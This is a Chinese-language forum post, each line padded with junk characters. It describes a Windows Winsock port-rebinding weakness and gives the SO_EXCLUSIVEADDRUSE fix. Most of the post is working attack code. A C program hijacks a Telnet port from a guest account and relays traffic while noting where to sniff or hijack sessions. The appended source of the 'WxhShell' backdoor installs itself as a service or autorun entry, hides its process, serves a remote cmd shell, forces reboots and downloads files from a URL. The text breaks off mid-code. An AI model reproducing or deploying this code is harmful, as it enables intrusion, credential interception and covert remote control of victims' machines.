在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
$rPQ%2eF4 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
wM!dz& NBA`@K~4 saddr.sin_family = AF_INET;
MaZS|Zei[ FDuIm,NI saddr.sin_addr.s_addr = htonl(INADDR_ANY);
iK8jX? [ic%ZoZ_ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
f\H1$q\p\ 4j<[3~:0
o 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
1eI_F8I U &a'LOq+r' 这意味着什么?意味着可以进行如下的攻击:
,vuC0{C^ d1 lxz?r 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
e /L([ HP:[aR!2P 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
AL|3_+G ,?wxW 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
$5>m\wrl f0*_& rP 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
\Npvm49 ow#8oUf= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
]N:Wt2
0+AMN- 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
N\Ab0mDOV. ;&MnPFmq 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
`k(m2k? 8[:G/8VI #include
Nop61zj #include
/`j2%8^N #include
|Gr@Mi5 #include
P[r$KGz DWORD WINAPI ClientThread(LPVOID lpParam);
TNF int main()
c!mMH~# {
WnA
Y<hZ| WORD wVersionRequested;
N3wy][bo DWORD ret;
hz5t/E WSADATA wsaData;
Q<(aU{ BOOL val;
w7f)v\p SOCKADDR_IN saddr;
7yOBxb SOCKADDR_IN scaddr;
@)@tIhw int err;
){KrBaGa4 SOCKET s;
o Va[ SOCKET sc;
bl\;*.s' int caddsize;
l0tFj>q" HANDLE mt;
l)V646-O,~ DWORD tid;
(*\y wVersionRequested = MAKEWORD( 2, 2 );
A:5P err = WSAStartup( wVersionRequested, &wsaData );
X,D ]S@ if ( err != 0 ) {
]hZk#rp} printf("error!WSAStartup failed!\n");
GK#D R/OM return -1;
E CPSE{ }
,Qj\_vr@ saddr.sin_family = AF_INET;
@2TfW]6 n2Q?sV;m //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
x!u6LDq0 V6'k\5| _ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
15MKV=?oY saddr.sin_port = htons(23);
y (=0 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|7!B k$(vA {
)))AxgM printf("error!socket failed!\n");
?',Wn3A return -1;
\\35}
9 }
TV}=$\D val = TRUE;
^=qV)j //SO_REUSEADDR选项就是可以实现端口重绑定的
}6*JX\'q if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
ri4:w_/{,Y {
qJR8fQ printf("error!setsockopt failed!\n");
m/`L3@7Tt return -1;
EF;B)y= }
M{p9b E[j //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
S(lqj6aa} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
845\u& //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
BL%3[JQ ,<[x9 "3\ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
TJuS)AZ
C {
3M>y.MS ret=GetLastError();
milQxSpj printf("error!bind failed!\n");
|C>\ku* return -1;
-o57"r^x }
`!ZkWF6 listen(s,2);
^UyN)eX while(1)
{'#7b# DB> {
jJ?G7Q5l caddsize = sizeof(scaddr);
}MtORqK //接受连接请求
|V^f}5gd sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
K]&GSro if(sc!=INVALID_SOCKET)
l>)+HoD {
%m$t'? mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
2
S2;LB if(mt==NULL)
|WW'qg]Uu {
OOYdrv, printf("Thread Creat Failed!\n");
4 &0MB>m break;
,,-j5Y }
jI$7vmO }
!RN9wXS7 CloseHandle(mt);
o@YEd d }
r$%,k*X^
k closesocket(s);
mOFp!( WSACleanup();
5"D\n B% return 0;
Ah
zV?6e }
{6F]w_\ DWORD WINAPI ClientThread(LPVOID lpParam)
Dc] J3r {
NC|VZwQtm SOCKET ss = (SOCKET)lpParam;
<g, 21(bc SOCKET sc;
51'V[tI;8 unsigned char buf[4096];
LtNspFoLb SOCKADDR_IN saddr;
EpENhC0 long num;
vb`: DWORD val;
Qd}h:U^ DWORD ret;
'(8}
<(% //如果是隐藏端口应用的话,可以在此处加一些判断
Q|f)Awe$ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
:kXxxS saddr.sin_family = AF_INET;
#c-Jo[%G saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
q\Z9.T+Qo saddr.sin_port = htons(23);
%@%~<U)W if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;!EEzR. {
oM,UQ!x< printf("error!socket failed!\n");
p&HkR^.S return -1;
!ce,^z&5 }
%}{.U val = 100;
ictOCF if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
_;-b ZH {
SnoEi~Da ret = GetLastError();
,;yaYF6|/ return -1;
t<cWMx5ra }
?y^ ix+M if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
IOl0=+p {
y <P1VES ret = GetLastError();
`Vh&XH\S return -1;
;\iu*1>Z,& }
yRz l} if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
I2?g'tz {
DhG{hQ[[ printf("error!socket connect failed!\n");
:oJ!9\5 closesocket(sc);
UQjZhH closesocket(ss);
0:eK}tC return -1;
b =:%*gq, }
[LS s|f while(1)
kb'l@d#E {
D
\boF+^ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
dkZ[~hEQG- //如果是嗅探内容的话,可以再此处进行内容分析和记录
UDb //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
V}Pv}j:; num = recv(ss,buf,4096,0);
wT:mfS09N if(num>0)
]kH8T' send(sc,buf,num,0);
(-{.T else if(num==0)
6Q`7>l.|? break;
9A}nZ1Y num = recv(sc,buf,4096,0);
kFi=^#J{ if(num>0)
8+~'T| send(ss,buf,num,0);
;5}"2hU> else if(num==0)
G)%r|meKGB break;
"=0JYh)%_ }
--TY[b closesocket(ss);
J#G\7'?{ closesocket(sc);
T7*p!0 return 0 ;
M5+K[Ir/y9 }
XMpE|M!c QB7^8O!< 7] 17?s]t, ==========================================================
WQHlf0] vFK(Dx 下边附上一个代码,,WXhSHELL
Y>K3.*. ;*e$k7}F ==========================================================
OWmI$_L QC+BEN$ #include "stdafx.h"
58Z,(4:E _i0,?U2C #include <stdio.h>
s?&UFyYb, #include <string.h>
<2PO3w?Z #include <windows.h>
J8hH#7WMS #include <winsock2.h>
1@Rl^ey #include <winsvc.h>
=z2g}X #include <urlmon.h>
]ov"&,J QkY;O<Y_ #pragma comment (lib, "Ws2_32.lib")
BEii:05 #pragma comment (lib, "urlmon.lib")
!:|D[1m S&~;l/ #define MAX_USER 100 // 最大客户端连接数
@|9V]bk #define BUF_SOCK 200 // sock buffer
7XiR)jYo* #define KEY_BUFF 255 // 输入 buffer
Tc;j)_C) ffh3okyW0 #define REBOOT 0 // 重启
-}Gk@=$G #define SHUTDOWN 1 // 关机
;5=5HYx% `wLMJ,@f. #define DEF_PORT 5000 // 监听端口
WOf*1C ](^BQc #define REG_LEN 16 // 注册表键长度
iR4!X() #define SVC_LEN 80 // NT服务名长度
t%30B^Ii%K 2@pEuB3$?! // 从dll定义API
%<'PSri typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
fngk<$lvg typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
YXTd^M~@D typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
[f-<M@id/ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
> ^d+;~Q; .KE2sodq // wxhshell配置信息
c +]5[6 struct WSCFG {
EN~ha:9 int ws_port; // 监听端口
1&JB@F9! char ws_passstr[REG_LEN]; // 口令
_6MNEoy? int ws_autoins; // 安装标记, 1=yes 0=no
_<;westq char ws_regname[REG_LEN]; // 注册表键名
8Sg:HU\ char ws_svcname[REG_LEN]; // 服务名
WJw
%[_W char ws_svcdisp[SVC_LEN]; // 服务显示名
tfq; KR char ws_svcdesc[SVC_LEN]; // 服务描述信息
\ dZD2e4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
qeoj int ws_downexe; // 下载执行标记, 1=yes 0=no
"z ;ky8 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
"?Xb$V7 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
GZNfx8zsY+ Dq~D4| };
aZYs?b>Gm mX
QVL.P\ // default Wxhshell configuration
5\P3JoH:Yg struct WSCFG wscfg={DEF_PORT,
~er4w+" "xuhuanlingzhe",
di#:KW 1,
NFlrr*=t> "Wxhshell",
atjrn:X "Wxhshell",
gX*i"Y# "WxhShell Service",
YDo,9 "Wrsky Windows CmdShell Service",
#wZBWTj. "Please Input Your Password: ",
J l9w/T 1,
Ke,$3Yx "
http://www.wrsky.com/wxhshell.exe",
='GY:. N "Wxhshell.exe"
isV9nWo$ };
1M/_:UH` /km'#f)/ // 消息定义模块
$eUJd Aetk char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
)l*6zn`z char *msg_ws_prompt="\n\r? for help\n\r#>";
YNWAef4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
EXTQ:HSES char *msg_ws_ext="\n\rExit.";
99..] char *msg_ws_end="\n\rQuit.";
'P<T,:z? char *msg_ws_boot="\n\rReboot...";
gjhWoZV char *msg_ws_poff="\n\rShutdown...";
dFVm18 char *msg_ws_down="\n\rSave to ";
Z\P&i# 9x[|75}l char *msg_ws_err="\n\rErr!";
rD SUhO{V char *msg_ws_ok="\n\rOK!";
IBe0?F # 334tg'2] char ExeFile[MAX_PATH];
4|DGQ
int nUser = 0;
MbeO(Q HANDLE handles[MAX_USER];
b0"R |d[i int OsIsNt;
?*)wQZt; 8gI~x.k` SERVICE_STATUS serviceStatus;
!)TO2?,^ SERVICE_STATUS_HANDLE hServiceStatusHandle;
,mW-O!$3W Zp*0%x!e // 函数声明
F
B7.b int Install(void);
NKS-G2Y<P int Uninstall(void);
^J$?[@qD int DownloadFile(char *sURL, SOCKET wsh);
)nJh) {4\ int Boot(int flag);
dGBVkb4]T void HideProc(void);
H@pF3gh int GetOsVer(void);
+~]LvZtI_ int Wxhshell(SOCKET wsl);
~J,e^$u void TalkWithClient(void *cs);
ia}V8i int CmdShell(SOCKET sock);
|qTS{qQh{L int StartFromService(void);
8q#Be1u<s2 int StartWxhshell(LPSTR lpCmdLine);
{QRrAi p-;I"uKv VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
QnNddCiu= VOID WINAPI NTServiceHandler( DWORD fdwControl );
p6e9mSs U:o(%dk // 数据结构和表定义
gzDNMM SERVICE_TABLE_ENTRY DispatchTable[] =
Mee+bp {
"vG~2J {wscfg.ws_svcname, NTServiceMain},
-THU5AB {NULL, NULL}
W6[# q%o };
z?i{2Fz6 X6g{qz Hg_ // 自我安装
V}UYr Va#9 int Install(void)
!K$qh{n {
/>\6_kT char svExeFile[MAX_PATH];
K<Qy1y~[ HKEY key;
>*aqYNft strcpy(svExeFile,ExeFile);
9F^rXY. $9Yk]~ // 如果是win9x系统,修改注册表设为自启动
17{$D,P if(!OsIsNt) {
4(FEfde= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
jvfQG:F } RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4S+sz?W2j RegCloseKey(key);
#b?)fqRJL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
jsrIZbN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:pZWFJ34{ RegCloseKey(key);
;_vo2zl1 return 0;
7v^V]&&s }
#fR~7K R }
XY1eeB- }
(jY -MF3 else {
,:1_I`d>#X /Sag_[i // 如果是NT以上系统,安装为系统服务
bAa+MB#A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
B Ctm05 if (schSCManager!=0)
8S_v} NUm {
L&2 Zn{#` SC_HANDLE schService = CreateService
CnA0^JX (
AT%@T| schSCManager,
4Cdl^4(LT wscfg.ws_svcname,
!{,
`h< wscfg.ws_svcdisp,
)HN,A z" SERVICE_ALL_ACCESS,
] oh.w SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
56
raZC SERVICE_AUTO_START,
TQ\\/e: SERVICE_ERROR_NORMAL,
~Uz1()ftz svExeFile,
,B=;NKo NULL,
2l9RU} NULL,
Z7t-{s64 NULL,
*?GV(/Q NULL,
T8ftBIOi NULL
^5yFb=2 );
Px<*n '~} if (schService!=0)
zz1e)W/ {
xJ(4RaP CloseServiceHandle(schService);
f*}H4H E O CloseServiceHandle(schSCManager);
>(aGk{e1 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
jg_##Oha strcat(svExeFile,wscfg.ws_svcname);
3LaqEj if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
lrXi*u] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
oMj;9,WK' RegCloseKey(key);
JNYFu0 return 0;
5#SD$^ }
I2$.o0=3Y }
e+t2F
|xDh CloseServiceHandle(schSCManager);
gVs8W3GW }
g}\Yl. }
oL2 a:\7 ~A5MzrvIO2 return 1;
s$s]D\N }
eviv, .jfkOt?2 // 自我卸载
_
IqUp Y int Uninstall(void)
Jn>6y:s {
i!!1^DMrw HKEY key;
N d"4*l; cF7efs8u if(!OsIsNt) {
;P{HePs=) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_26~<gU8 RegDeleteValue(key,wscfg.ws_regname);
itmdY!;< RegCloseKey(key);
X~ AE?? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'<35XjW RegDeleteValue(key,wscfg.ws_regname);
1~HR;cTv= RegCloseKey(key);
N<\U$\i return 0;
]ctlK'. }
*0
0K3 }
Yb<t~jm }
I<'wZJRRa else {
Y GZX}- `6.rTs$< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Wy2 pa
#Q if (schSCManager!=0)
S]7RGzFe {
JY|f zL SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
];.H]TIc6 if (schService!=0)
3\xvy{r {
PV*U4aP if(DeleteService(schService)!=0) {
R0n#FL^E CloseServiceHandle(schService);
8p?Fql}F[ CloseServiceHandle(schSCManager);
IfH*saN7 return 0;
BmRk|b }
%b
H1We CloseServiceHandle(schService);
KKz{a{ePY% }
#sOkD CloseServiceHandle(schSCManager);
ItZqLUJm }
86s.qPB0 }
CCp8, )rTV}Hk return 1;
u49v,,WGw }
eN/o}<(e Wq+6`o // 从指定url下载文件
ctv =8SFv( int DownloadFile(char *sURL, SOCKET wsh)
Q)7iu {
SYPG.O?I HRESULT hr;
eAkj pc char seps[]= "/";
7n-;++a5] char *token;
zF6]2Y?k% char *file;
Qg \OJmv char myURL[MAX_PATH];
JY+ N+c\ char myFILE[MAX_PATH];
tntQO!pM q&h&GZ strcpy(myURL,sURL);
=+T$1 token=strtok(myURL,seps);
Qz+hS\yx while(token!=NULL)
pV>M,f {
s/,wyxKd file=token;
'\$2+* token=strtok(NULL,seps);
4v"9I( }
<Ct b^4$ p?mQ\O8F GetCurrentDirectory(MAX_PATH,myFILE);
*LTFDC strcat(myFILE, "\\");
&uh|!lD strcat(myFILE, file);
ltKUpRE\? send(wsh,myFILE,strlen(myFILE),0);
gg>O:np8 send(wsh,"...",3,0);
DA5kox&cU hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
9Ytf7NpR if(hr==S_OK)
!^dvtv`K return 0;
Jon<?DQj
else
ohFUy}y return 1;
M(l>^N8W8 >Cb[ }
Vf67gux 4,o|6H // 系统电源模块
8._
A[{.f int Boot(int flag)
L#Mul&r3x0 {
YxEc(a" HANDLE hToken;
K5O#BBX= TOKEN_PRIVILEGES tkp;
zFy0SzF t;7 tuq
if(OsIsNt) {
v-;j44sB OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
p#VA-RSUQ| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
N|n"JKw) tkp.PrivilegeCount = 1;
,4bqjkX5q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
"T`Q, AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
xwZcO if(flag==REBOOT) {
28KS*5S if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
a=<l}`* return 0;
Le&SN7I }
r sf +dC else {
]V,wIyC if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Sga/i?! return 0;
nATEv2:G }
Voi`OCut }
fdIO'L_ else {
> .L\ > if(flag==REBOOT) {
1 m)WM,L if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
JG%y_
Qy?K return 0;
'%@fW:r~ }
,O[HX?> else {
1m*fkM# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
}B{bM<dF return 0;
.w/_Om4T*b }
qNI2+<u)j }
('q u#.' (Kl96G<Wej return 1;
<r_L- }
F;5S2:a@Z g$c\(isY; // win9x进程隐藏模块
YQb43Sh` void HideProc(void)
'lPt.*Y<u {
vf=b5s(7Q <IWO:7*# HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
I:4m]q b if ( hKernel != NULL )
$F|3VQ~ {
teO%w9ByY pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
N? r{Y$x ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
c2aX_ " FreeLibrary(hKernel);
ZXP9{Hh }
KTV~g@Jf Yx4TUA$c' return;
oMH-mG7:K }
:J|t! ` }%K)R5C // 获取操作系统版本
=-XI)JV# int GetOsVer(void)
0{0|M8 {
jpcbW OSVERSIONINFO winfo;
YK[PC]w winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
r=Up-(j GetVersionEx(&winfo);
ai7*</ls if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Ob:}@jj return 1;
N/ 7Q(^ else
E1(2wJ-3" return 0;
KkVFY+/) }
N"X;aVFs_ ?[n{M // 客户端句柄模块
a}~Xns int Wxhshell(SOCKET wsl)
y8=(k}=3 {
NA5AR*f' SOCKET wsh;
B3Id}[V struct sockaddr_in client;
tDF=Iqu)a DWORD myID;
=D<{uovQB Algk4zfK2, while(nUser<MAX_USER)
'~2S BX?J {
02U5N(s int nSize=sizeof(client);
Z x9oj wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
dd+[FU if(wsh==INVALID_SOCKET) return 1;
=YZyH4eI 1Ner1EKGp handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
u)]]9G
_8 if(handles[nUser]==0)
Z83A1`!.| closesocket(wsh);
RcQo1 else
XUf]gQu3= nUser++;
^T):\x( }
Nqih LUv WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
E'|@hL-jn CAGaZ rx return 0;
.G"UM>.}d }
H-&Z+4 +Xs f9A^0A?c // 关闭 socket
qd@x#"qT void CloseIt(SOCKET wsh)
m_{?py@tZ {
. zM closesocket(wsh);
OGgP~hd nUser--;
Tk[`kmb ExitThread(0);
y6.Q\= }
?W l=F/
de.!~%D // 客户端请求句柄
%kM|Hk3d void TalkWithClient(void *cs)
[i7Ug.Oi" {
k5]M~" J&%d(EJM SOCKET wsh=(SOCKET)cs;
U%2[,c_ char pwd[SVC_LEN];
_wa1R+`_ char cmd[KEY_BUFF];
{fi:]|<1h char chr[1];
+9S_H( int i,j;
! }u'% crV2T while (nUser < MAX_USER) {
iHKWz)0 ^j"*-)R if(wscfg.ws_passstr) {
iqCZIahf if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
dA;f`Bi;Q //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
c< ke)@ //ZeroMemory(pwd,KEY_BUFF);
`4Jlf! i=0;
*],]E; while(i<SVC_LEN) {
Jh3(5d"MV o$k1&hyH // 设置超时
IuJj;L1 fd_set FdRead;
0~qnwe[g} struct timeval TimeOut;
/ESmQc:DWB FD_ZERO(&FdRead);
Vx1xULdY FD_SET(wsh,&FdRead);
}"?v=9.G TimeOut.tv_sec=8;
Isa]5> TimeOut.tv_usec=0;
*ujn+0)[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
`WDN T0@M if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
_e/>CiN/ -J?i6BHb if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
7<W7pXDp pwd
=chr[0]; <VB;J5Rv
if(chr[0]==0xd || chr[0]==0xa) { xngK_n
pwd=0; $_N<! h*\
break; ?:bW@x
} F\1{b N|3
i++; '%&i#Eb
} q4)8]Y2
V#!ftu#c?
// 如果是非法用户,关闭 socket \ "193CW!
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %T3L-{s5
} KF' $D:\
") Xy%C`J
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :G#>):
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mz\d>0F U.
XP
Nk#"
while(1) { Jj:4l~b,w
&r\pQ};
ZeroMemory(cmd,KEY_BUFF); VH3j
fL[(;KcAa
// 自动支持客户端 telnet标准 n
GE3O#fv
j=0; ht8%A 1|
while(j<KEY_BUFF) { we6']iaV
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b<UZDy N~
cmd[j]=chr[0]; K*Tj;
if(chr[0]==0xa || chr[0]==0xd) { gie}k)&M
cmd[j]=0; X9^a:7(
break; W (N@`^
} ZJz6{cY
j++; ve.rpF\
} )M5:aSRz
kFPZ$8e
// 下载文件
Xrpzc~(
if(strstr(cmd,"http://")) { +R}(t{b#
send(wsh,msg_ws_down,strlen(msg_ws_down),0); > <WR]`G
if(DownloadFile(cmd,wsh)) g0@i[&A@{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `$|!h-"
else vJg|}]h>L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +'qzk>B
} !QoOL<(){
else { k8E'wN
ZRYs7 4<
switch(cmd[0]) { uVJ;1H!
eup#.#J
// 帮助 ]kC/b^~+m
case '?': { y"=j[.
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S5R Q
break; '\ec ,&4Z
} X5kIM\
// 安装 MrIo.
case 'i': { { Z<4
if(Install()) ]wLHe2bEu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yrp
WGK520
else w]w>yD>$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P E1F3u>O
break; (I~-mzu\
} @A(*&PU>j
// 卸载 4}sfJ0HhX
case 'r': { eaQ)r?M
if(Uninstall()) +,=DUsI}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OF^v;4u
else X)iQ){21V
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |}paa
break; wPTXRq%
} -~Kw~RX<(
// 显示 wxhshell 所在路径 =s"_! 7
case 'p': { nunTTE,iq%
char svExeFile[MAX_PATH]; fw@n[u{~
strcpy(svExeFile,"\n\r"); D_r&B@4w
strcat(svExeFile,ExeFile); 9(k5Irv"'h
send(wsh,svExeFile,strlen(svExeFile),0); HJT}v/FZ
break; <^+~?KDZM
} ?<c)r~9]
// 重启 E/@w6uIK[
case 'b': { HgJ:R f]
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6?nAO
if(Boot(REBOOT)) zSMNk AM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f Co- ony
else { B'\^[
closesocket(wsh); o9-b!I2
ExitThread(0); :JW!$?s8H
} 6tXx--Nh
break; ]fz0E:x
} i_?";5B"
// 关机 K@lZuQ.1
case 'd': { p$^}g:
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "2HSb5b"`
if(Boot(SHUTDOWN)) i{zg{$ U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cwiHHf>
else { (h> Jz
closesocket(wsh); v2R41*z,
ExitThread(0); ^LgaMmz
} g#0h{%3A
\
break; rug^_d =B
} K8CjZpzq
// 获取shell o, e y.
case 's': { (u`[I4z`
CmdShell(wsh); %/!n]g-
closesocket(wsh); vq yR aaMf
ExitThread(0); S'~Zlv3`
break; ~_v?M%5i
} |&vQ1o|}
// 退出 | _/D-m*
case 'x': { 1(6B|w5+
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9 ![oJ3
CloseIt(wsh); &>kklP
break; #;GIvfW
} /rp.H'hC
// 离开 Gxk=]5<7
case 'q': { .U|e#t
send(wsh,msg_ws_end,strlen(msg_ws_end),0); V
{R<R2h1
closesocket(wsh); g
_fvbVX
WSACleanup(); xo#&&/6
exit(1); oK1"8k|Z
break; yGl
(QLk
} b5u_x_us|
} \q#s/&b
} HPVW2Y0_N
o3*IfD
// 提示信息 .sNUU 3xSC
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *xB9~:
} jR<yV
} `M?C(
c|q!C0X[
return; @7xb/&N
} ldcYw@KQ
}}Ah-QU
// shell模块句柄 seWYY $$
int CmdShell(SOCKET sock) c`~aiC`l
{ <4s$$Uw}6%
STARTUPINFO si; NQefrof
ZeroMemory(&si,sizeof(si)); !Irmc*;QE
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '@'~_BBZP
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w$ Lpuun{
PROCESS_INFORMATION ProcessInfo; s6<`#KFAg
char cmdline[]="cmd"; UEmNT9V
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S%n5,vwE
return 0; zA[6rYXY
} PZ2$ [s0W
k]FP1\Y
// 自身启动模式 aH<BqD[#
int StartFromService(void) Di{T3~fqU
{ bv$g$
typedef struct 5^'PjtW6
{ -DDH)VO
DWORD ExitStatus; +f/G2qY!t
DWORD PebBaseAddress; D&_Ir>"\
DWORD AffinityMask; !FOPFPn
DWORD BasePriority; VQE8hQ37
ULONG UniqueProcessId; Y;
=y-D
